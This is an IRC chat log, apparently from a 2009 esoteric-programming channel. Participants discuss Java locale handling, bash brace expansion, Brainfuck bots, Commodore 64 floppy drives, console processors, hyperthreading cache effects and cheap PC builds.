"LC_CTYPE=POSIX java ..." if you want. It might not make any difference, though. 21:52:00 åäö -> 65328 long string 21:52:06 Or "LC_CTYPE=C", that's shorter. I think they should mean the same thing. 21:52:07 fizzie, triec LC_ALL=C 21:52:09 no difference 21:52:22 fizzie, anyway LC_CTYPE isn't set, LANG is. 21:52:29 and that means LC_CTYPE defaults to that 21:52:29 Okay. Well, it's Java. 21:52:35 then LC_MESSAGES=C 21:52:41 LANG=sv_SE.UTF-8 21:52:43 LC_COLLATE=C 21:52:46 LC_MESSAGES=C 21:52:51 rest are implicit 21:52:53 fizzie, yes and? 21:52:56 what about it 21:53:28 It's just a generic sort of answer. 21:53:33 fizzie, what do you mean " Okay. Well, it's Java." 21:53:34 hm 21:53:35 "Who knows why it works like that? It's Java." 21:53:40 aha! 21:53:50 LC_CTYPE=C made no difference 21:53:53 btw, why is it C 21:53:58 and not D for default or such 21:54:24 It does do something locale-related, because if I write "LC_CTYPE=C.ISO-8859-1" I get three .s in the output for € (so three bytes) but a bit over 64k + characters. 21:54:29 That's really wonky. 21:54:53 I'm not sure if that sort of locale specification even makes sense. 21:55:06 $ echo {A..Z} 21:55:06 A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 21:55:10 $ echo {a..z} 21:55:10 a b c d e f g h i j k l m n o p q r s t u v w x y z 21:55:16 $ echo {1..9} 21:55:16 1 2 3 4 5 6 7 8 9 21:55:27 so far it's ok 21:55:29 bug 21:55:30 but* 21:55:32 "LC_CTYPE=en_US.ISO-8859-1 java textgen -t 1 €" seems to generate reasonable output. 21:55:38 $ echo {A..z} 21:55:38 A B C D E F G H I J K L M N O P Q R S T U V W X Y Z [ ] ^ _ ` a b c d e f g h i j k l m n o p q r s t u v w x y z 21:55:43 $ echo {a..Z} 21:55:43 a ` _ ^ ] [ Z 21:55:45 $ echo {1..c} 21:55:45 {1..c} 21:55:51 these three are inconsistent 21:56:14 $ echo {c..1} 21:56:14 {c..1} 21:56:15 btw 21:56:52 -!- MigoMipo has quit ("QuitIRCServerException: MigoMipo disconnected from IRC Server"). 21:57:05 ^bf +++++++++++++[>+++++++++++++++<-]>.------------------------------.++++++++++++++++++++++++++++++.-------------------------------.+++++++++++++++++++++++++++++++.-------------. 21:57:06 åäö 21:57:07 mhm 21:57:59 ^choo åäö 21:57:59 åäö äö äö ö ö 21:58:06 That's the broken. 21:58:15 ^choo åäö 21:58:15 åäö äö äö ö ö 21:58:22 fizzie, yeah it isn't unicode aware 21:58:24 :P 21:58:35 fizzie, ooh! add that to choo 21:58:43 utf-8 parsing in bf 21:58:47 If you want to write it, sure. 21:58:47 that sounds (NOT) fun 21:58:55 fizzie, thanks, but no 21:59:38 fizzie, can you give me one of your combined mad ones 21:59:49 -!- olsner has quit ("Leaving"). 21:59:58 "Combined mad one"? 22:00:08 combined ~ ' and so on 22:00:12 you know what I mean 22:00:15 Oh, right. 22:00:22 lots of combined chars in one 22:00:27 for max byte length 22:00:46 Here's the ASCII tilde with a combining tilde both above and below: ~̰̃. 22:00:54 I don't have a very good one handy right now. 22:01:33 ah 22:01:52 ais is the master of them 22:01:55 Actually that's just five bytes; ~ is ascii, and the basic combining chars are two-byte ones. 22:01:57 ^bf +++++++++++++++[>++++++++>++++++++++++++>++++++++++++>+++<<<<-]>++++++.>------.<+++++.>.>----.>+. 22:01:57 ~̰̃. 22:02:00 hm 22:02:05 that seems wrong 22:02:07 ?? 22:02:10 AnMaster: protip: 22:02:15 ehird, ? 22:02:17 write the outputter naively 22:02:21 then run an optimizer on it 22:02:22 that can output to bf 22:02:25 -!- nooga has joined. 22:02:26 like, esotope w/ bf backend or something 22:02:30 that could do serious optimization :P 22:02:44 hah 22:02:56 The fungot output looks different, yes. I get the different tildes sequentially. Don't know what's up with that. 22:02:57 fizzie: there's been a horrific battle. 22:02:57 ehird, go write such a backend 22:03:05 fungot: Oh no! Where= 22:03:05 fizzie: but...... 22:03:09 fizzie, maybe copy-paste fail 22:03:12 AnMaster: lazi 22:03:45 fungot: But what? The battle wasn't horrific at all? 22:03:45 fizzie: time's up. i'm taking the treasure. we are off to save you all? how come holy isn't moving? 22:03:56 I like this style 22:03:57 ^style 22:03:57 Available: agora alice c64 darwin discworld europarl ff7* fisher ic irc jargon lovecraft nethack pa speeches ss wp youtube 22:04:01 Ah. 22:04:06 ff7? 22:04:06 fizzie: is it quoting verbatim? 22:04:07 what is that 22:04:11 AnMaster: Final Fantasy 7 22:04:17 ah 22:04:19 http://en.wikipedia.org/wiki/Final_Fantasy_VII 22:04:21 ^bf +++++++++++[>+++>+++++++++>++++++++>++++<<<<-]>.>-.++++.<-.>>>.<+++.>++.--.<++.<<+.>.+++++++++++++++.-------.>++++++++++.<+.+++++. 22:04:21 !bf ,[.,]!fungot 22:04:26 what? 22:04:35 The single sentences are almost verbatim, I think; though "we are off to save you all?" does some sort of jump to get that ? there. 22:05:04 AnMaster: EgoBot doesn't do the "code!input" thing in !bf. 22:05:20 ah 22:06:07 ^bf +++++++++++[>+++++++++>+++>++++>++++++<<<<-]>>.<-.++++.>-.+++++++++++....>-..<...>....<<-----------.>>>----.<..<......>>.<..<.......+++++++++++++++++++..--....>++.<<++.>>>.-----------------..<+.<++.>.-....>...<+.<--.>>--.<.<++.-------------------.>.<.....>. 22:06:07 !bf +++++++++++++[>++++++++>+++++++++>><<<<-]>--.>.-------.<+.>+.+++++. 22:06:07 fungot 22:06:13 ^bf +++++++++++[>++++>+++>++++++>+++++++++<<<<-]>>.>>-.++++.<<-.<-......>+++++++++++.....<..>>>-----------.<----.<<........>>--.<++.>>++.<++.<+.<.>. 22:06:14 !bf +++++++++++++[>++++++++<-]>.+. 22:06:14 hi 22:06:29 !bf_txtgen Hello, world! 22:06:32 126 ++++++++++[>+++++++>++++++++++>++++>+<<<<-]>++.>+.+++++++..+++.>++++.------------.<++++++++.--------.+++.------.--------.>+.>. [877] 22:06:42 !bf_txtgen !bf ++++++++++[>+++++++>++++++++++>++++>+<<<<-]>++.>+.+++++++..+++.>++++.------------.<++++++++.--------.+++.------.--------.>+.>. 22:06:46 627 +++++++++++[>++++>+++>+++++++++>++++<<<<-]>>.>-.++++.<-.+++++++++++.<-...>...>>-.<<<.>.>-----------.-----------------------------.<.>>.<-------------------.>.<..<<.+++++++++++++++++++.-------------------.>>>..<.<<......+++++++++++++++++++.>>.>...<<<.>.<--....>>>++.<<<+++++++++++++++++++++++++++++++++.-------------------------------.>>.<.>>+.++++++++++++++++.<.<<----------------.>>.<.>.<.>...<<..>>.<..+++.>>.<.<---...+++.-.>++..<...<-..>..>..+.>--. 22:06:47 **EgoBot explodes** 22:06:56 Well that is nicely cut off. 22:07:00 ^bf +++++++++++[>++++>+++>+++++++++>++++<<<<-]>>.>-.++++.<-.+++++++++++.<-...>...>>-.<<<.>.>-----------.-----------------------------.<.>>.<-------------------.>.<..<<.+++++++++++++++++++.-------------------.>>>..<.<<......+++++++++++++++++++.>>.>...<<<.>.<--....>>>++.<<<+++++++++++++++++++++++++++++++++.-------------------------------.>>.<.>>+.++++++++++++++++.<.<<----------------.>>.<.>.<.>...<<..>>.<..+++.>>.<.<---...+++.-.>++..<...<-..>..>..+.>--. 22:07:00 !bf ++++++++++[>+++++++>++++++++++>++++>+<<<<-]>++.>+.+++++++..+++.>++++.------------.< 22:07:00 -!- BeholdMyGlory has quit (Read error: 104 (Connection reset by peer)). 22:07:00 Hello, 22:07:05 :-D 22:07:07 It sort of works! 22:07:09 >+++++++++[<++++++++>-]<.>+++++++[<++++>-]<+.+++++++..+++.>>>++++++++[<++++>-]<.>>>++++++++++[<+++++++++>-]<---.<<<<.+++.------.--------.>>+. 22:07:13 Graceful degradation. 22:07:13 hm 22:07:17 that is the hello world on the wiki 22:07:36 that's longer 22:07:46 what is the SHORTEST hello world in bf so far 22:08:04 I remember seeing some shorter than the one egobot gave 22:11:35 i haven't fried it yet! 22:12:16 -!- fizzief has joined. 22:12:23 ^bf +++++++++++[>+++>++++>++++>+++++++++<<<<-]>.>>>-.++++.<<<-.>>-....<-.......>>-----------.-----------------------------.<......>.<<....>..<...+++++++++++++++++++.>...<.<+++++++++++..>>..<--....>>-----------------.<<+++++++++++++++++++++++++++++++++.-------------------------------.<..>>....>+.<<.<..>----------------.>......<<.+++..---...+++.++++++++++++++++..>.<--.>-.+.<.>>......>---..+++.-..<++.....>.+.---...+++.-...<...<.>>......<..<.<++.>---.>+. 22:12:23 !bf +++++++++++[>++++++>+++++++++>+++>++++<<<<-]>++++++.>++.+++++++..+++.>>.<-.<++++++++.--------.+++.------.--------.>+. 22:12:23 Hello, world! 22:12:29 bsmntbombgirl: heh 22:12:30 -!- fizzief has quit (Client Quit). 22:12:40 bsmntbombgirl: it'll probably run too fast, get confused, and fry itself out of confusion. 22:12:53 for a newline it gives: +++[>+++<-]>+. 22:12:54 that's the problem with fancy-schmancy computers 22:12:56 when using -t 1 22:12:57 I had to use telnet for that, for some reason XChat splits lines far earlier than it actually needs to. 22:13:21 ++++++++++. would be sorter 22:13:22 heh 22:14:27 it's gonna be soooooo fast 22:14:54 bsmntbombgirl: that cpu cooler's gotta be making a lot of noise 22:15:15 it's sitting right next to my current box so i can't tell 22:15:36 we'll find out in a while how loud it is 22:15:50 bsmntbombgirl: just be glad your gfx card is passive 22:15:52 gpu fans suck 22:16:00 bsmntbombgirl: when in the bios did you check the cpu temp? 22:16:34 !bf_txtgen 42 22:16:37 36 ++++++++++[>+++++>+>><<<<-]>++.--.>. [176] 22:18:42 -!- nooga has quit (Remote closed the connection). 22:23:13 -!- puzzlet_ has joined. 22:25:41 bsmntbombgirl: your cpu is on fire fyi 22:26:17 -!- tombom has quit ("Peace and Protection 4.22.2"). 22:26:19 -!- nooga has joined. 22:26:31 BEER 22:27:55 A classic: linux-2.6.29.2/drivers/char/lp.c: printk(KERN_INFO "lp%d on fire\n", minor); 22:28:14 fizzie: That predates linux, I'm sure 22:28:38 fizzie: values of β will give rise to dom! 22:28:55 Yes, I guess so; that just happened to be the most accessible place I could get it. 22:29:01 goddamn 22:29:06 bsmntbombgirl: did it explode :-( 22:29:10 lol no 22:29:26 just having trouble getting boot media 22:29:41 linux is so awesome that it doesn't need boot media 22:29:49 Well, drivers/net/eexpress.c: printk(KERN_INFO "%s: transmit timed out, %s?\n", dev->name, (SCB_complete(status)?"lost interrupt":"board on fire")); 22:30:07 Those are the only two error scenarios for that chip. 22:30:18 :-D 22:30:38 fizzie: I like how the board being on fire is just INFO level 22:31:09 "No worries, the board's just on fire." 22:34:55 There's also drivers/macintosh/therm_windtunnel.c for the hardware monitoring on Apple G4 "windtunnel" models; there's an array fan_table with temperatures 55.0, 55.3, 56.0, ..., 60.1 degrees, and a final entry with raw number 0xfffff (corresponding to about 4096 degrees) and the comment "/* on fire */". That's about it for things being on fire, except the usblp driver has the "on fire" as one of the four possible status messages. 22:35:24 -!- puzzlet has quit (Read error: 110 (Connection timed out)). 22:36:50 -!- Slereah has quit. 22:39:57 :-D 22:40:18 fizzie: what about when we invent supernova based cooling 22:40:24 ehird: what was that thing you've said i need to instal for dock? 22:40:31 you cause an insy winsy little supernova and just ride the CPU on that 22:40:33 nooga: what? 22:40:37 be more specific :p 22:41:07 umm 22:41:19 fizzie: The "lp on fire" error comes from early, early UNIX systems. 22:41:21 i asked what else do i need besides limechat 22:41:26 nooga: ah 22:41:27 At the time, the printer could, in fact, be on fire. 22:41:28 ;) 22:41:33 and you've said something about *** for dock 22:41:42 * ehird greps. 22:41:54 17:25 nooga: any other useful apps that you'd recommend? 22:41:55 17:27 ehird glances at dock. I use Adium for inferior-to-IRC IM services, I edit some stuff with TextMate (and other stuff in other editors :p)... apart from that... eh... I use Seashore for basic image editing stuff? And Transmission for torrents. And I have a few VM apps. Oh. And Enigma's quite a fun game. That's pretty much all I use 22:41:58 17:27 ehird: Oh, and I use Audacity for basic audio editing. My app selection is quite an uninteresting one. 22:42:14 lol 22:42:29 my memory is broken 22:42:29 I don't think he's recommended anything for a dock. 22:42:36 yarr 22:42:37 Apart from, say, OS X. :p 22:42:50 lol, floppy drives are slow 22:42:55 i thought that you recommend something called 'glances' for dock :D 22:42:58 bsmntbombgirl: what on earth are you doing 22:43:02 nooo:-DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD 22:43:04 lol 22:43:04 bsmntbombgirl: No, really? 22:43:04 ... 22:43:10 just parse error 22:43:20 i'm trying to resolve that graph i showed 22:43:26 show us 22:43:31 bsmntbombgirl: They're from an era where a 12k modem was very freaking fast. 22:43:36 and every node stands for quite big file 22:45:29 -!- Slereah has joined. 22:45:53 dammit 22:45:57 http://sv017.sendspace.pl/file/J2ey9Jf9/eUF5lGkJ8pv81sVm/test.pdf 22:46:01 gross 22:47:24 Since there was all that C65/1541 talk earlier, here's another good thing about the floppy drive's programmability: the implemented-in-the-ROM serial protocol had the blazing speed of about 2400 bps, which in other units is 1 floppy / 10 minutes; but since it's programmable, you can write a fast-loader which can transfer floppy -> C64 at speeds of around 30 kbps. 22:47:34 ehird: what do you say? :d 22:47:39 -!- FireFly has quit ("Later"). 22:47:45 hah, a set containing sets. Confusing 22:47:49 and no that isn't same set 22:47:50 nooga: i can't read polish, where's the download button 22:47:55 AnMaster: {{1,2},{3,4}} is confusing? 22:48:00 ehird, the first is a set as in the data structure. The second is a [-] set 22:48:00 nooga: the big purple one. 22:48:05 ah 22:48:07 oh 22:48:08 so a set containing locations of [-] 22:48:09 yea 22:48:09 :D 22:48:11 nooga: wow that's pretty 22:48:15 i thought that's the direct link 22:48:17 sry 22:48:21 ehird, which is confusing 22:48:27 fizzie: Yeah, the C64 floppy was damned cool. 22:48:32 10022 compile errors 22:48:47 now i'm trying to resolve this mess and compile it for iphone :D 22:48:48 ehird, see what I mean now? 22:48:52 yes 22:48:56 right 22:49:02 * AnMaster tries to figure out better names for it 22:49:21 I'm using the sets module, and the instruction is called set. 22:49:23 hm 22:49:27 nooga: i like want to use a scaled down version of that graph as an ornamental header on something 22:49:49 my ass ;/ 22:49:59 yes. Your ass. 22:50:02 porting this lib is impossible 22:51:00 The drive itself had an OS. :) 22:51:07 pikhq: Yes. 22:51:17 It was more powerful than the C64 as I've said. 22:51:22 uhu 22:51:46 The C64 floppy drive had a 6502, the C64 had a 6510. 22:51:53 Well, yeah. 22:51:57 The 6510 being a 6502 with an additional I/O port. 22:51:58 But the muhurts was more. 22:52:02 If you don't like the rank-style graph, you can use the spring-based graphviz layouters like "neato" or "fdp"; those tend to generate more compact stuff. (Though usually that equals to unreadable; then you'll have to add some "avoid overlap" and "route edges" options, and wa-boom, suddenly your reasonable "not very many hundreds of nodes" graph takes multiple hours to layout.) 22:52:17 ... Wow. 22:52:23 pikhq: wat 22:53:05 So, a clever C64 programmer could temporarily replace the floppy drive's OS and have a sort of NUMA multiprocessing setup going. 22:53:21 Yup. 22:53:33 There's something about that that makes me smile. 22:53:43 i want to overclock a c64 to 5mhz 22:53:47 and put a fan on it 22:54:05 ehird: i rendered this graph again with coloring specific nodes placed in groups and printed it 22:54:05 You could daisy-chain those floppy drives. 22:54:08 call it the C-64 elite 22:54:09 hm 22:54:11 "8 processors! Oh yeah!" 22:54:11 pikhq: :-D 22:54:18 now it occupies the wall in my office 22:54:18 ;d 22:54:22 pikhq: Overclock the floppy drive. 22:54:28 To 5mhz. 22:54:33 list:reverse(List) makes sense. But why list:reverse(List,Tail) 22:54:37 SUPERCOMPUTER CLUSTER 22:54:41 where it appends the non-reversed Tail 22:54:43 "I overclocked everything. *Everything*." 22:54:46 after reversing the List 22:54:48 AnMaster: efficient list operation 22:54:50 oh, i've seen something rly cool 22:54:51 sec 22:54:55 stupid name tho 22:54:59 I printed a couple of A4-sized copies of The Fungot Graph; I don't think I remembered to try the A3 (i.e. readable) version. 22:54:59 ehird, yes, I ended up using it. 22:55:01 Sadly, I suspect you can't overclock the main C64 chip all that well. 22:55:05 pikhq: what about the tape drive 22:55:09 pikhq: ooh 22:55:15 have an extension that PRESSes PLAY ON TAPE automatically 22:55:16 I just couldn't figure out why 1) that name 2) anyone else would need it 22:55:17 :-P 22:55:18 Its clock speed is a function of the display speed. 22:55:23 and yeah 22:55:36 The floppy drive, though... 22:55:37 it seems rather kind of uncommon 22:55:47 I don't think the CPU has anything to do with the serial bus speed. ;) 22:56:27 pikhq: overclock the floppy so it needs a fan 22:56:29 nooga: Since you like graphs, http://www.cis.hut.fi/htkallas/fungotsmall.png -- you can remove the word "small" if you want the 7485x15016-pixel version. 22:56:29 fizzie: aerith just blurted that out all the way. 22:56:30 and have a cluster of 8 22:56:34 it'll be about as loud as an old pc 22:56:40 http://www.youtube.com/watch?v=pmfHHLfbjNQ << this is just fucking awesome !!!!!!!!11111111 22:56:54 oh yeah that thing 22:56:58 it is pretty neat 22:57:05 (so's the original song) 22:57:33 fizzie: dow did you manage to make it so tidy? 22:57:36 how* 22:57:40 ehird: Oooh. You could hook two C64s to a single floppy drive. 22:57:53 pikhq: Awesome. 22:57:57 7485x15016 pixels would kill this computer 22:58:03 Not just a 8-core NUMA system... 22:58:05 i'll look at it when i get the new one booted :D 22:58:09 bsmntbombgirl: :-D 22:58:14 A Beowulf cluster. 22:58:17 :D 22:58:17 bsmntbombgirl: how many bogomips is it? 22:58:20 pikhq: haha 22:58:24 pikhq: we so have to do this 22:58:25 dunno 22:58:26 somehow 22:58:33 Seriously. 22:58:39 bsmntbombgirl: The "fungotsmall" version is just 1497x3003. 22:58:42 ehird: Get a webserver on this baby. 22:58:56 pikhq: shit, you could distribute a contiki instance across it 22:59:01 There was some tweaking of graphviz parameters involved; don't remember them at all. 22:59:10 High-performance Contiki. 22:59:30 bass by scanner is orgasmic :D 22:59:57 nooga: if you like that stuff then 22:59:59 http://www.treewave.com/ 23:00:13 The C128 has a 6502-like CPU too, and it's officially "overclockable" (if you can call it that) 1 -> 2 MHz, if you don't mind the fact that the video chip can't live at that speed. (But you can use the C128-specific video chip which can do a 80x25 text mode, if you have a suitable digital-interface monitor.) 23:00:24 they use c64s, atari 2600s, compaq portable iis, epson lq500 dotmatrixs 23:00:26 to make musak 23:00:43 paul slocum is pretty cool 23:02:23 And speaking of SMP, the C128 *also* has a 2 MHz Z80 processor (for CP/M mode)... though for hardwarey reasons you can't run the 8502 (6510 + the 2 MHz mode) and the Z80 simultaneously. 23:02:27 ehird: kewl 23:02:34 fizzie: hack it so it can! 23:02:57 Still, not many dual-processor machines have dual processors of completely different architecture. (Though the DS with ARM9+ARM7 is not that far off, and at least those can run simultaneously.) 23:02:58 ehird: Probably each CPU has full control over the memory. 23:03:01 By paul slocum, a c64 synthy thingy: http://qotile.net/cynthcart.html 23:03:20 fizzie: The Wii has two processors. 23:03:30 One is a PowerPC, for running the game code. 23:03:36 One is an ARM, for running the DRM code. 23:03:43 Yes, it has a second processor for DRM. 23:03:54 http://qotile.net/files/cynth1_2_4.prg It's very small for a synthesizer. 23:04:01 "A possibly unique feature of the C128 among CP/M systems was that some of the low-level BIOS services were executed by the 8502 chip instead of the Z80. The latter transferred control to the 8502 after having placed the pertinent parameter values in designated memory locations. The Z80 then turned itself off, being awoken by the 8502 at completion of the BIOS routine, with status value(s) available in RAM for inspection." Heh, freaky. 23:04:11 Also, there's the Gameboy Advance. 23:04:23 A Z80 and an ARM7. 23:04:26 (don't run simultaneously) 23:04:32 Right, for GB compatibility. 23:04:41 And the Playstation 2. 23:04:46 God, the Playstation 2. 23:05:09 Too bad they dropped GB compatibility from the DS; it would've had ARM9+ARM7+Z80 then. 23:06:22 The PS2 featured a 32bit and 64bit MIPS. 23:06:28 In PS2 mode, both ran simultaneously. 23:07:34 Consoles tend to be rather... idiosyncratic, re hardware. 23:07:38 I seem to recall it having another processor shoved in there, though. 23:07:56 fizzie: With the exception of the Xbox. 23:08:09 Erm. Never mind; the Xbox was quite idiosyncratic. 23:08:20 Because of it's Wintel legacy. XD 23:09:07 pikhq: The Xbox 360 uses a powerpc (seriously) 23:09:12 Three cores, too. That's quite odd. 23:09:16 And a high-for-a-console 3.2ghz speed. 23:10:01 Also, not much memory. 23:10:03 about 512 23:10:23 lifthrasiir, We need an irc bot for esotope. To see how much it optimises :P 23:10:32 * AnMaster is too lazy to use it locally 23:11:05 ehird: The Xbox 360 uses a Cell PPU. Even weirder. ;) 23:11:34 Y'know, I bet one day GPUs will change their name. We'll have sequential processing units and concurrent processing units. 23:11:42 AnMaster: sorry, the next exams are ahead; i will be away for a while. 23:11:54 ah ok 23:12:01 (indeed the next one is after 7.5 hours! :S) 23:13:02 lol, the 8086 had 5x the mhz of the ntsc c64 23:13:08 several years earlier 23:13:11 more expensive ofc 23:18:10 -!- coppro has joined. 23:18:20 hi coppro 23:18:25 -!- chromakode has joined. 23:18:27 bsmntbombgirl: has it exploded yet? 23:18:36 hi chromakode 23:18:40 CPU #7 Started! 23:18:44 hey :) 23:18:44 CPU #6 Started! 23:18:47 CPU #5 Started! 23:18:52 GregorR: what can you tell me about bsmntbombgirl 23:18:52 CPU #4 Started! 23:18:54 bsmntbombgirl: aiee, you've got hyperthreading enabled? 23:18:59 yes 23:19:01 chromakode: Er... what's going on? 23:19:07 bsmntbombgirl: that thing plays hell with the cache i hear 23:19:10 hi 23:19:27 ehird: hehe, just trying to tell if he's full of shit in #askreddit or not :) 23:19:37 chromakode: oh, what's he saying 23:19:43 I'm good IRL friends with GregorR so I thought I'd make a query 23:19:46 LOL 23:20:01 oh, you know GregorR? I just recognized your name from reddit. 23:20:12 haha. 23:20:14 Oh, we've got an IRL friend of Gregor? Interesting. 23:20:34 GregorR: *poke* 23:20:45 Come out, thy hattedness! 23:21:09 I have this single-core Atom 230 thing, and the interwebs refused to tell me whether it's a good idea or not to turn HyperThreading on on it; in the end decided not to, since it probably won't really be doing more than one thing at a time anyway. 23:21:39 goddamn 23:21:50 fizzie: For the Atom, you'll probably benefit. 23:21:56 (Incidentally, since it's called "Core i7", it really should have 7 cores.) 23:21:56 Poor pipelining and all that. 23:22:08 fizzie: Just like the Core 2 only comes in dual-core versions. 23:22:52 At least they add the "quad" in there even in the marketed names; I haven't seen i7 things referred to except by mysterious numbers. 23:23:03 I have seen at least 50% of Gregor's hats in real life. 23:23:09 including the badass one with the tassel. 23:23:15 chromakode: Can I have your autograph? 23:23:24 Intel decided that the mysterious numbers were "more meaningful". 23:23:38 fizzie: All i7s are quad-core. 23:23:50 chromakode: We've seen www.choosemyhat.com . ;) 23:23:54 ehird: Yes, but there is no sense of four-ness in the name. 23:24:04 ehird: Dual-core and oct-core versions have yet to ship. 23:24:08 fizzie: It has two letters, which is half of four. 23:24:15 pikhq: I'm pretty sure they've yet to be announced 23:24:37 I don't even have a GCC with "-mtune=atom" capabilities; I guess those are not going to be in the 4.3 series. :/ 23:24:58 is there an -mtune=i7, I wonder? 23:25:10 could do something w/ the puny l2 23:25:22 chromakode: do you even know what this channel is about? about half of our visitors don't 23:25:31 esolangs 23:25:46 hm. has anyone ever taken 5 classes a day during a semester? 23:25:47 Congrats. 23:25:48 you belong to the other 0.5%, clearly. 23:25:53 hm, reverse that. 23:25:58 or, rather, flip it. 23:26:09 And mix it down. 23:26:11 and drop the dot. 23:26:14 eesh. too much >_< 23:26:22 ack, Gracenotes hangs out here to 23:26:24 *too 23:26:25 Gracenotes: I've known someone who did. 23:26:39 He was on the Uberman sleep schedule for most of it, too. 23:26:48 oh snap 23:26:48 bsmntbombgirl did uberman! 23:26:49 I'd be in class for a total of 7 hours on monday. largely split up. 23:26:50 i am not a stalker. 23:26:54 * pikhq had a crazy roommate. 23:27:09 * pikhq will have said roommate again next semester. :) 23:27:16 but in that case I've have a max of 3 hours on all other days 23:27:20 I wonder what "drop lack of tea" does in the HHGTTG game. 23:27:40 ehird: Try it! 23:27:45 Sure this. 23:27:46 *thing 23:28:41 pikhq: "Your common sense tells you that you can't do that." 23:28:47 Common sense? Is this the hitchhiker's guide I know? 23:28:48 :) 23:29:22 Give it a break, man. Arthur Dent has to hold onto *something*. 23:29:37 drop something 23:29:40 Aside from the clothes on his back, I mean. 23:30:00 he only has clothes on his back? 23:30:11 ... Maybe by now. 23:36:13 bsmntbombgirl: it'll be faster to disable hyperthreading in most cases 23:36:42 Oh, right. The Atom was based on the Pentium *3*. 23:36:53 Which had good pipelining. 23:37:12 Yeah, hyperthreading on the Atom is just pointless. 23:39:41 ehird: why? 23:40:00 bsmntbombgirl: ask pikhq; he found some shit about hyperthreading 23:40:06 basically: your cache will pay, iirc 23:40:09 bsmntbombgirl: Hyperthreading is a hack to get around bad pipelining. 23:40:14 bsmntbombgirl: also, there's some security issues 23:40:21 And it has, as a side effect, a terrible impact on your cache. 23:40:35 see for instance http://www.daemonology.net/hyperthreading-considered-harmful/ 23:40:37 On the Pentium 4, it was beneficial. 23:40:56 (the Pentium 4 had gobs of cache and some of the worst pipelining out there) 23:41:01 yeah 23:41:07 the i7 only has 256K of l2 cache 23:41:08 ehird: there's not 23:41:15 On anything else, and I mean anything else, it just creates cache misses. 23:41:15 bsmntbombgirl: uh? 23:41:23 there's the same issue when you have shared cache 23:41:33 bsmntbombgirl: the L2 cache on the i7 isn't shared 23:41:35 (the L3 is though) 23:41:35 and the i7 has a shared l3 so... 23:41:39 anyway, the other arguments sitll apply 23:42:16 that link is just about the shared cache stuff 23:42:30 bsmntbombgirl: loads of cache misses, not an appreciable performance benefit (are you really using 8 threads? does it outweigh the disadvantages?), and it's a hack to get around bad pipelining 23:42:31 qed 23:42:39 (Pronounced "kwed.") 23:42:42 *". 23:43:25 Pentium 4s tended to have at least 1M of L2 cache... 23:43:31 yeah 23:43:50 There were some with 2M. 23:44:16 The cache misses on an Atom will just be painful. 23:45:40 ... Holy fuck, Atom chips are overpriced. 23:46:07 err? they're for budget netbooks 23:46:29 ehird: AMD sells dual-core Phenoms at similar price points. 23:46:45 I can't buy a dual core Phenom for the cost of a cheap Atom box. 23:46:46 Actually, the cheapest one is reasonable. 23:46:57 http://system76.com/product_info.php?cPath=27&products_id=91 23:46:59 $249 23:47:13 cpu only takes 8 watts, amazingly 23:47:29 I've got a triple-core Phenom almost completely specced for $200. Short a hard drive. 23:47:35 :p 23:47:53 Oh, and an optical drive. :/ 23:48:08 pikhq: that one has no optical drive too :P 23:48:18 bsmntbombgirl: how goes your system 23:48:23 Oh, well then. 23:48:30 Sure enough. 23:48:31 pikhq: but it isn't prebuilt 23:48:33 prebuilts always cost more 23:48:44 True. 23:49:04 Lemme see what I could get an 80G HD for. 23:49:29 I configured a complete dual-core system for a little over $200. It wasn't good, but for most people it'd do just fine. 23:49:37 Apart from the having to build it thing 23:50:11 Athlon X2 4050e @ 2.1ghz, 2GB of RAM, 160GB harddrive. 23:50:22 Hardware's cheap 23:50:38 seriously; the cpu's just $39.99 23:50:49 $33 for an 80G drive. Whoo. 23:50:57 whole thing comes to $222.41 23:51:16 Moral of the story: prebuilts cost more. 23:51:16 inc. a 52x cd burner, floppy drive, case and 380w power supply 23:51:47 i7 systems cost a lot due to the DDR3 requirement 23:52:07 True, DDR3 is pricy. 23:52:17 Pricy and also delicious. 23:52:41 Delicious I say! 23:53:51 * pikhq feels sorry for ehird's stomach 23:54:03 I am a silicon-based lifeform. 23:54:29 "Putting the pro back in power" —OCZ marketing 23:54:33 Prower. 23:54:45 * pikhq feels sorry for ehird, then. 23:54:54 Your grocery shopping must be pricy as hell. 23:54:55 pikhq: What's wrong with silicon :< 23:54:57 :D 23:55:06 pikhq: No kidding; I'm watercooled. 23:55:11 That's why I still drink human fluids. 23:55:17 They transfer heat well. 23:55:31 ... Human fluids? 23:55:38 * pikhq runs away from the Si-based vampire 23:55:41 ... 23:55:52 ... wait, you point that out and then just think *blood*? 23:56:17 Blood is one of the more prevalent human fluids. 23:56:27 That's as maybe. 23:56:43 Of course, you could mean piss, instead. 23:56:53 my blood is very nutritious! It has iron! 23:57:13 pikhq: No. That did not even cross my mind. :-P 23:57:21 Gracenotes: could you extract just the iron please 23:57:24 Gracenotes: My caffeine stream is very nutritious! It has trace nutrients such as blood! 23:57:53 although, you know what they say about hormones in food nowadays. I'm betting that my blood is crawling with all sorts of hormones 23:58:05 you might want to beware 2009-05-14: 00:00:06 -!- chromakode has quit (Connection timed out). 00:00:47 bsmntbombgirl: btw, you might wanna memtest sometime 00:00:54 since 12gb is a loooot 00:01:19 * pikhq memtests whenever he obtains a new motherboard, CPU, or RAM... 00:01:34 pikhq: I would memtest, but it takes houuuuuuuuuuuuuuuuuurs. 00:01:43 ehird, let it run overnight.. 00:01:59 Sure, I probably will sometime with the new box. 00:02:11 All my other computers just aren't quiet enough to leave on overnight though ;-) 00:02:16 Yes, even this one. I have bat ears. 00:02:36 It's been worth the effort in the past. 00:02:37 ehird, I have separate bedroom :D 00:02:59 AnMaster: Unfortunately, cramped architecture dictates. 00:03:02 ehird, or leave it on over-day and read a book / go outside? 00:03:11 What is this "book"? 00:03:13 (my current motherboard has a *memory slot* that causes errors) 00:03:17 Wait, "outside"? 00:03:20 Out ... side? 00:03:22 How can you be out of a side? 00:03:26 That makes no sense. 00:03:39 ehird, You know what a kindle is right? 00:03:52 ehird, the Amazon thing 00:03:57 Ooh! Something to do with a fire? ...In the amazon? 00:04:03 what 00:04:14 to kindle (third-person singular simple present kindles, present participle kindling, simple past and past participle kindled) 00:04:14 (transitive) To start (a fire) or light (a torch). 00:04:15 ehird, the "ebook reader" 00:04:16 Please kindle a fire in the barbecue. 00:04:19 OH, wait 00:04:20 kindle (plural kindles) 00:04:22 (obsolete) A collective term for a group of kittens. 00:04:24 A kindle of kittens. 00:04:26 Yes! kittens! 00:04:26 That's not a Big Blue Room thing. ;) 00:04:28 haha 00:04:28 I know what kittens are. 00:04:47 Nor are books. 00:04:49 ehird, well what about wikipedia. You know what it is? Now imagine it 